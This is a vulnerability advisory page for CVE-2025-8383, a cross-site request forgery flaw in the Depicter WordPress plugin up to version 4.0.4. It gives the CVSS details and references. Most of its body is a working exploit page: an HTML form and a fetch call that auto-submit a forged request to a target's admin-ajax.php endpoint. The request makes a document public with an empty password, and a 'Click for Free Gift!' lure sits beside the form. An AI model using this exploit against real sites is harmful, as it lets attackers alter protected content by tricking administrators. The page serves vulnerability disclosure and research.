CVE-2025-8383

Description

The Depicter plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions less than, or equal to, 4.0.4. This is due to missing or incorrect nonce validation on the depicter-document-rules-store function. This makes it possible for unauthenticated attackers to modify document rules via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Depicter plugin for WordPress <= 4.0.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

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<!-- CSRF PoC for CVE-2025-8383 -->
<!-- Depicter Plugin < =4.0.4 Document Rules Modification -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - Depicter Document Rules</title>
</head>
<body>
    <h1>Depicter CSRF Exploit - CVE-2025-8383</h1>
    <p>Click the button below to modify document rules</p>
    
    <form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrfForm">
        <input type="hidden" name="action" value="depicter-document-rules-store">
        <input type="hidden" name="document_id" value="1">
        <input type="hidden" name="rules" value='{"access":"public","password":""}'>
        <!-- Missing nonce field - this is the vulnerability -->
        <button type="submit" id="exploitBtn">Click for Free Gift!</button>
    </form>

    <script>
        // Auto-submit form without user knowledge
        document.getElementById('csrfForm').submit();
        
        // Alternative: Send via fetch API
        fetch('https://target-site.com/wp-admin/admin-ajax.php', {
            method: 'POST',
            mode: 'no-cors',
            credentials: 'include',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: new URLSearchParams({
                'action': 'depicter-document-rules-store',
                'document_id': '1',
                'rules': JSON.stringify({
                    'access': 'public',
                    'password': ''
                })
            })
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-8383
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-8383
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-8383/
[4] VulDB https://vuldb.com/cve/CVE-2025-8383
[5] https://drive.google.com/file/d/1Fph3k-uyN6tX4hHeupjdYsZWZe3gYjqo/view?usp=sharing
[6] https://plugins.trac.wordpress.org/browser/depicter/trunk/app/routes/ajax.php#L473
[7] https://plugins.trac.wordpress.org/changeset/3384613/
[8] https://research.cleantalk.org/cve-2025-8383/
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/c54e5cd9-cc51-4367-afe0-11a6abfc0437?source=cve

Raw JSON Data

JSON

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